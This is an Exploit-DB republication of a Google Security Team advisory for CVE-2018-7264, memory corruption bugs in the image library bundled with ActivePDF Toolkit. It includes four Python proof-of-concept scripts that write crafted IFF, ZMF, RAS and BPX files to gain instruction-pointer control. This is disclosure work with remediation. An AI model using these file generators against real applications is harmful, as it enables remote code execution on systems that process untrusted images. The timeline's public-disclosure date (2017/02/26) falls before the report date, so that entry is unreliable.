ActivePDF Toolkit < 8.1.0.19023 - Multiple Memory Corruptions

EDB-ID:

44251




Platform:

Windows

Date:

2018-03-05


ActivePDF Toolkit < 8.1.0 multiple RCE

Introduction
============
The ActivePDF Toolkit is a Windows library which enhances business
processes to stamp, stitch, merge, form-fill, add digital signatures,
barcodes to PDF. Both .NET and native APIs are provided.  Amongst many
other operations, this library can be used by applications to transform
images to PDF files.

Multiple vulnerabilities were identified in the Pictview image processing
library embedded by the Toolkit and signed by ActivePDF. They could allow
remote attackers to compromise applications relying on the Toolkit to
process untrusted images. Note that, while the example instances hereafter
use “exotic” file types, the parser determines the image type from magic
bytes, ignoring file extensions in most cases.

CVE
===
CVE-2018-7264

Affected versions
=================
ActivePDF Toolkit before 8.1.0 (build 8.1.0.19023)

Author
======
François Goichon - Google Security Team

CVE-2018-7264
=============
ActivePDF Toolkit < 8.1.0.19023 multiple RCE

Summary
-------
An image processing library embedded in the ActivePDF Toolkit product is
prone to multiple BSS out-of-bound and signedess errors which can yield
direct EIP control by overwriting function pointers, error handling
structures or IAT entries. Note that the affected library does not enable
ASLR.

Reproduction
------------
The following scripts can be used to generate crafted image files which
achieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g.
via the ImageToPDF method), through different root causes. These examples
can be reproduced through both the .NET and native APIs and independently
from file extensions, however the .NET layer will hide the native crashes
and return -1. This may crash the library with a lock on, so only use in
test environments.

* Interchange File Format (.iff) and derivates
---
#!/usr/bin/env python2
#
# eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90
edi=02930a6c
# eip=41414141 esp=0061f264 ebp=0061f26c iopl=0         nv up ei pl nz na
po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
# 41414141 ??              ???

from struct import pack

header = "FORMXOXOILBM"

bodycontents = "AAA"
body = "BODY" + pack(">I", len(bodycontents)) + bodycontents
while (len(body) % 2) == 1:
  body += "\x00"

base = 0x28147510
payload = pack("<I", base).ljust(0x28151114 - base, "A") + pack("<I", base)
cmap = "CMAP" + pack(">I", len(payload)) + payload
while (len(cmap) % 2) == 1:
  cmap += "\x00"

outp = header + cmap + body
assert len(outp) >= 0x28

with open("test.iff", "wb") as f:
  f.write(outp)
---

* Zoner Draw images (.zmf, .zbr)
---
#!/usr/bin/env python2
#
# eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008
edi=028e0a6c
# eip=41414141 esp=2814550c ebp=41414141 iopl=0         nv up ei ng nz ac
pe cy
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
# 41414141 ??              ???

from struct import pack

header = pack("<III", 0x5c, 0xD4015ADD, 0x12345678)
header = header.ljust(9*4) + pack("<I", 0x3c)
header = header.ljust(0x3c)

base = 0x2814550C
payload = '\x00' * (0x28151124 - base) + pack("<I", base) + "A"*8

# can be triggered by multiple formats
header2 = pack("<H", 0x4d42)
header2 = header2.ljust(14) + pack("<I", 50-14)
header2 = header2.ljust(28) + pack("<HI", 0, 0)
header2 = header2.ljust(46) + pack("<I", len(payload)/4 + 1)

outp = header + header2 + payload

with open("test.zmf", "w") as f:
  f.write(outp)
---

* Sun Raster images (.ras)
---
#!/usr/bin/python2
#
#WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding
can be inaccurate.
#eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008
edi=02880a6c
#eip=41414141 esp=28141504 ebp=41414141 iopl=0         nv up ei ng nz ac pe
cy
#cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
#41414141 ??              ???

from struct import pack

header = pack(">IIIIIII", 0x59A66A95, 0x100, 1, 8, 0, 2, 1)

base = 0x28141504
payload = "".ljust(0x28151124 - base, "\x00") + pack("<I", base) + "A"*8
outp = header + pack(">I", len(payload)+1) + payload

with open("test.ras", "wb") as f:
  f.write(outp)
---

* Truevision Targa images (.bpx)
---
#!/usr/bin/env python2
#
#eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008
edi=028f0a6c
#eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0         nv up ei ng nz ac pe
cy
#cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
#41414141 ??              ???

from struct import pack

target = 0x2815112C
payload = "AAAA"

# TGA / PIC / BPX
base = { 3: 0x28147510, 4: 0x2814550c }
align = None
for al in [3, 4]:
  if ((target - base[al]) % al) ==  0:
    align = al
    break
assert align

header = "\x00\x01\x00"
header += pack("<H", (target - base[align])/align)
header += pack("<H", (len(payload)/align)+1)
header += chr(32 if align == 4 else 24)
header = header.ljust(16)
header += chr(1)
header = header.ljust(18)

with open("test.bpx", "wb") as f:
  f.write(header + payload)
---

Remediation
-----------
Upgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the
problem by removing the affected image processing library. Note that this
also fixes the similar ZDI-16-354 vulnerability.

For more information and guidance, please contact the ActivePDF support
through their portal (https://support.activepdf.com).


Disclosure timeline
===================
2017/11/28 - Report sent to ActivePDF support
2017/11/28 - Support acknowledges the issue and confirms that the library
is scheduled to be removed from the product
2018/01/29 - Received notification from the ActivePDF support that the
Pictview image processing library had been removed from ActivePDF in build
8.1.0.19023
2017/02/26 - Public disclosure